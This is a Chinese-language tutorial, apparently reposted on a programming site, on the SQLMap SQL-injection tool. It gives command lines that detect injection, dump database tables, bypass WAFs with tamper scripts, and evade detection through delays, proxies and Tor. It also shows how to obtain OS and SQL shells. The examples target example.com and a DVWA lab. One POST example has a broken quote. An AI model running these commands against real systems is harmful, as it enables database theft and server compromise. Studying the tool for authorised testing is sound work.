【安全工具】SQLMap 使用詳解:從基礎到高級技巧

目錄

簡介

一、安裝與基礎配置

1. 安裝方法

2. 基本語法

二、基礎掃描技術

1. 簡單檢測

2. 指定參數掃描

3. 批量掃描

三、信息收集

1. 獲取數據庫信息

2. 獲取當前數據庫

3. 獲取數據庫用戶

4. 獲取數據庫版本

四、數據提取技術

1. 列出所有表

2. 提取表數據

3. 提取特定列

五、高級注入技術

1. 指定注入技術

2. 多線程掃描

3. 繞過WAF

六、實戰案例演示

案例1:DVWA Low級別注入

案例2:POST請求注入

案例3:從文件讀取請求

七、防御規避技巧

1. 延遲設置

2. 隨機代理

3. 使用Tor網絡

八、輸出與報告

1. 保存結果到文件

2. 生成HTML報告

九、風險控制

1. 安全掃描模式

2. 測試級別

十、實用小技巧

簡介

SQLMap是一款自動化 SQL 注入工具,能夠檢測和利用 SQL 注入漏洞。以下是全面的使用指南,包含基礎命令、高級技巧和實戰案例。

一、安裝與基礎配置

1. 安裝方法

Kali Linux

sudo apt update && sudo apt install sqlmap

其他Linux系統

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

Windows

  • 下載地址:https://github.com/sqlmapproject/sqlmap/zipball/master

2. 基本語法

sqlmap.py -h

二、基礎掃描技術

1. 簡單檢測

sqlmap.py -u "http://example.com/page.php?id=1"

2. 指定參數掃描

sqlmap.py -u "http://example.com/page.php?id=1" -p "id"

3. 批量掃描

sqlmap.py -m urls.txt ?# urls.txt中包含多個目標URL

三、信息收集

1. 獲取數據庫信息

sqlmap.py -u "http://example.com/page.php?id=1" --dbs

2. 獲取當前數據庫

sqlmap.py -u "http://example.com/page.php?id=1" --current-db

3. 獲取數據庫用戶

sqlmap.py -u "http://example.com/page.php?id=1" --current-user

4. 獲取數據庫版本

sqlmap.py -u "http://example.com/page.php?id=1" --banner

四、數據提取技術

1. 列出所有表

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name --tables

2. 提取表數據

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump

3. 提取特定列

sqlmap.py -u "http://example.com/page.php?id=1" -D database_name -T table_name -C "column1,column2" --dump

五、高級注入技術

1. 指定注入技術

sqlmap.py -u "http://example.com/page.php?id=1" --technique=B ?# 布爾盲注
sqlmap.py -u "http://example.com/page.php?id=1" --technique=T ?# 時間盲注
sqlmap.py -u "http://example.com/page.php?id=1" --technique=E ?# 報錯注入

2. 多線程掃描

sqlmap.py -u "http://example.com/page.php?id=1" --threads=5

3. 繞過WAF

sqlmap.py -u "http://example.com/page.php?id=1" --tamper="space2comment"

常用tamper腳本:

  • space2comment:空格替換為注釋

  • between:用BETWEEN替換大于號

  • randomcase:隨機大小寫

  • charunicodeencode:字符編碼轉換

六、實戰案例演示

案例1:DVWA Low級別注入

sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1" --batch --dbs

案例2:POST請求注入

sqlmap.py -u "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1  --data="id=1&Submit=Submit" --method POST

案例3:從文件讀取請求

sqlmap.py -r request.txt ?# request.txt保存了Burp攔截的請求

七、防御規避技巧

1. 延遲設置

sqlmap.py -u "http://example.com/page.php?id=1" --delay=2 ?# 2秒延遲

2. 隨機代理

sqlmap.py -u "http://example.com/page.php?id=1" --proxy="http://proxy:port"

3. 使用Tor網絡

sqlmap.py -u "http://example.com/page.php?id=1" --tor --tor-type=SOCKS5

八、輸出與報告

1. 保存結果到文件

sqlmap.py -u "http://example.com/page.php?id=1" --output-dir=/path/to/results

2. 生成HTML報告

sqlmap.py -u "http://example.com/page.php?id=1" --dump --output-dir=report --format=HTML

九、風險控制

1. 安全掃描模式

sqlmap.py -u "http://example.com/page.php?id=1" --risk=1 ?# 低風險

2. 測試級別

sqlmap.py -u "http://example.com/page.php?id=1" --level=3 ?# 1-5,默認1

十、實用小技巧

  1. 獲取操作系統shell

sqlmap.py -u "http://example.com/page.php?id=1" --os-shell
  1. 獲取反向連接

sqlmap.py -u "http://example.com/page.php?id=1" --os-pwn
  1. 暴力破解表名

sqlmap.py -u "http://example.com/page.php?id=1" --common-tables

4.獲取sql shell

sqlmap.py -u "http://example.com/page.php?id=1" --sql-shell

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/912852.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/912852.shtml
英文地址,請注明出處:http://en.pswp.cn/news/912852.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Redis大Key拆分實戰指南:從問題定位到落地優化

引言 最近在項目里遇到一個棘手問題:生產環境的Redis突然變“卡”了!查詢延遲從幾毫秒飆升到幾百毫秒,監控面板顯示某個節點CPU使用率飆到90%。排查半天才發現,原來是某個用戶訂單的Hash Key太大了——單Key存了100多萬個訂單字段…

RabbitMQ簡單消息發送

RabbitMQ簡單消息發送 簡單代碼實現RabbitMQ消息發送 需要的依賴 <!--rabbitmq--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId><version>x.x.x</version>&l…

【閱讀筆記】基于雙邊濾波改進的空域濾波算法

一、雙邊濾波空域濾波算法 雙邊濾波是一種典型的非線性濾波算法。基于高斯濾波&#xff0c;雙邊濾波利用強度的變化來保存邊緣信息&#xff0c;解決了邊緣模糊在視覺觀感上認為重要信息丟失的問題。雙邊濾波的濾波效果主要取決于兩個參數&#xff1a;兩個像素的空間鄰近性和灰…

華為交換機堆疊與集群技術深度解析附帶腳本

一、引言 在企業園區網、數據中心等網絡場景中&#xff0c;為了提升網絡的可靠性、擴展性和管理效率&#xff0c;華為交換機提供了堆疊&#xff08;Stack&#xff09;和集群&#xff08;CSS&#xff0c;Cluster Switch System &#xff09;技術。這兩種技術能夠將多臺物理交換…

Python網絡爬蟲(十三)- 數據解析模塊 BeautifulSoup

1、BS4簡介 BeautifulSoup(簡稱 BS4) 是一個用于解析 HTML 和 XML 文檔的 Python 第三方庫。它能夠從網頁或其他 HTML/XML 格式的文本中提取數據,并將其轉換為結構化的對象,方便開發者快速定位、提取和操作所需信息。它的核心功能是通過解析器將無序的標記語言轉換為樹形結…

如何使用 Pytorch Lightning 啟用早停機制

【PL 基礎】如何啟用早停機制 摘要1. on_train_batch_start()2. EarlyStopping Callback 摘要 本文介紹了兩種在 PyTorch Lightning 中實現早停機制的方法。第一種是通過重寫on_train_batch_start()方法手動控制訓練流程&#xff1b;第二種是使用內置的EarlyStopping回調&#…

深入理解前綴和與差分算法及其C++實現

前綴和與差分是算法競賽和編程中非常重要的兩種技巧&#xff0c;它們能夠高效地處理區間查詢和區間更新問題。本文將詳細介紹這兩種算法的原理、應用場景以及C實現。 一、前綴和算法 1.1 前綴和的基本概念 前綴和&#xff08;Prefix Sum&#xff09;是一種預處理技術&#x…

HugeGraph【部署】Linux單機部署

注: hugegraph從版本 1.5.0 開始&#xff0c;需要 Java11 運行時環境 一、安裝JDK11 1.下載JDK11 https://www.oracle.com/java/technologies/downloads/#java11 2.解壓縮包 tar -zxvf jdk-11.0.27_linux-x64_bin.tar.gz 3.修改/etc/profile環境變量 export JAVA_HOME/usr…

C++異步編程里避免超時機制

C標準庫中時鐘&#xff08;Clock&#xff09; 這段內容主要介紹了C標準庫中**時鐘&#xff08;Clock&#xff09;**的概念和分類&#xff0c;以及它們在時間測量中的作用。以下是關鍵信息的解讀&#xff1a; 一、時鐘的核心特性 C中的時鐘是一個類&#xff0c;提供以下四個基…

npm install安裝不成功(node:32388)怎么解決?

如果在執行 npm install 時出現問題&#xff0c;尤其是 node:32388 相關的錯誤&#xff0c;這通常意味著某些依賴或配置出了問題。這里有一些常見的解決方法&#xff0c;你可以嘗試&#xff1a; 1. 清除 npm 緩存 有時候&#xff0c;npm 緩存問題會導致安裝失敗。你可以清除 …

Ubuntu-18.04-bionic 的apt的/etc/apt/sources.list 更換國內鏡像軟件源 筆記250702

Ubuntu-18.04-bionic 的apt的/etc/apt/sources.list更換國內鏡像軟件源 筆記250702 為 Ubuntu 18.04 LTS&#xff08;代號 Bionic Beaver&#xff09;更換 /etc/apt/sources.list 為國內鏡像源 備份/etc/apt/sources.list文件 sudo cp -a /etc/apt/sources.list /etc/apt/sou…

【運維系列】【ubuntu22.04】安裝GitLab

一.下載安裝文件 rootgitlab:~# wget https://packages.gitlab.com/gitlab/gitlab-ce/packages/el/9/gitlab-ce-17.4.0-ce.0.el9.x86_64.rpm二.執行安裝腳本 2.1 先執行安裝前的命令 rootgitlab:~# apt install -y perl-interpreter rootgitlab:~# apt install -y openssh-s…

Cisco ASA防火墻查看ACL的條目數量

這里顯示的條目數量為ACE, ACE是啥&#xff1f; ACE全稱&#xff1a; access-list entry ACE指的是ACL條目展開后的數量&#xff0c; 啥叫展開&#xff1f; 示例&#xff1a; access-list out-in extend permit tcp80&443 host 1.1.1.1 host 2.2.2.2這種配置是占1條&#…

npm install安裝的node_modules是什么

node_modules 是一個由 npm&#xff08;Node Package Manager&#xff09;管理的文件夾&#xff0c;存放著你的 Node.js 項目中所有安裝的依賴包。當你運行 npm install 時&#xff0c;npm 會根據你的項目中 package.json 文件中的依賴配置&#xff0c;下載并安裝相應的包到 no…

【實時Linux實戰系列】實時Linux項目的部署與維護

在實時 Linux 項目的開發過程中&#xff0c;開發階段的工作僅僅是開始&#xff0c;生產環境中的部署與維護同樣至關重要。實時 Linux 系統廣泛應用于工業自動化、航空航天、智能交通等對實時性和穩定性要求極高的領域。例如&#xff0c;在工業自動化中&#xff0c;實時系統的部…

Go并發模式精要:掌握Goroutine與Channel的實戰藝術

在現代軟件開發中&#xff0c;有效利用并發能力已成為提升系統性能的關鍵。Go語言憑借其原生的Goroutine和Channel機制&#xff0c;為開發者提供了優雅的并發解決方案。本文將深入解析Go并發編程的核心模式與最佳實踐。 一、并發基石&#xff1a;Goroutine與Channel // 輕量級…

第29篇:Linux審計系統深度解析:基于OpenEuler 24.03的實踐指南

Linux審計系統深度解析&#xff1a;基于OpenEuler 24.03的實踐指南 文章目錄 Linux審計系統深度解析&#xff1a;基于OpenEuler 24.03的實踐指南一、Linux審計系統核心概念與組件架構1.1 審計系統核心組件詳解1. auditd守護進程&#xff1a;日志持久化引擎2. auditctl命令行工具…

Linux 啟動過程流程圖--ARM版

以下是ARM版本Linux啟動過程的超詳細樹狀圖&#xff0c;涵蓋硬件上電到應用程序交互的全流程&#xff0c;并包含關鍵函數調用鏈及源碼位置&#xff0c;適用于系統開發與調試場景&#xff1a; ARM Linux啟動全流程&#xff08;含函數調用鏈&#xff09; ARM Linux啟動流程&…

NVMe高速傳輸之擺脫XDMA設計6之系統架構設計

結合目前應用需求&#xff0c;以及前面基礎分析&#xff0c;確定IP應具有如下特色&#xff1a; &#xff08;1&#xff09; 通用性 前端數據采集系統基于 FPGA 開發。 一方面&#xff0c; 設備類型多&#xff0c; 使用的 FPGA型號各不相同&#xff0c; 需要實現的設計能夠在多種…

Mac homebrew 安裝教程

下載github安裝包 https://github.com/Homebrew/brew/releases/tag/4.5.8 下載安裝后 打開 安全里面允許安裝&#xff0c;就可以直接使用了